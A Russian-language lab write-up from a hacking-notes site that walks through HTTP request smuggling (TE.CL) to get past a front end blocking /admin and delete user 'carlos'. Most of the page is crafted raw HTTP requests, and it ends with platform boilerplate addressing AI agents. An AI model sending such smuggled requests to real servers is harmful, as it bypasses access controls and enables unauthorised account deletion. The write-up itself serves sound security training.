> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/front-end-security-bypass-via-te-cl.md).

# Обход фронтенд-защиты через TE.CL

### Эксплуатация HTTP Request Smuggling для обхода средств защиты фронтенда, уязвимость TE.CL

Система основана на сервере фронтенда и сервере бэкенда. / Бэкенд **не обрабатывает кодирование с чанками**, тогда как фронтенд **блокирует доступ к /admin**. / Цель — **замаскировать запрос к /admin** чтобы удалить пользователя carlos.

Хотя приложение поддерживает HTTP/2, эксплуатация основана на техниках, специфичных для HTTP/1.

<figure><img src="/files/c074633061cc9f78ae6ffa1e9dc43d294b401bd7" alt=""><figcaption></figcaption></figure>

#### **Начальное наблюдение**

Фронтенд корректно интерпретирует `Transfer-Encoding: chunked`. / Сначала мы отправляем простой запрос:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked

0


```

#### **Построение протащенного запроса**

Один **новый полный запрос** внедряется в тело, передаваемое чанками.

#### **Подготовительная схема**

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: размер
Transfer-Encoding: chunked

размер
GET /admin HTTP/1.1
Host: localhost
Content-Length: размер

test=testing
0


```

#### **Корректировка размера**

Минимум `Content-Length` на стороне фронтенда фиксируется, за которым следует чанк, содержащий протащенный запрос:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

Сервер корректно интерпретирует внедрённый запрос.

<figure><img src="/files/6b0c5c10385c180bee3c1f3c174b87adbaee8419" alt=""><figcaption></figcaption></figure>

#### **Внедрение финального запроса для удаления Карлоса**

Целевой запрос заменяется удалением пользователя:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

Этот протащенный запрос затем обрабатывается бэкендом напрямую, полностью обходя фильтрацию фронтенда.

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

<figure><img src="/files/5fa0b8b14ce0240803a50d2a51f40972cac2724d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/front-end-security-bypass-via-te-cl.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
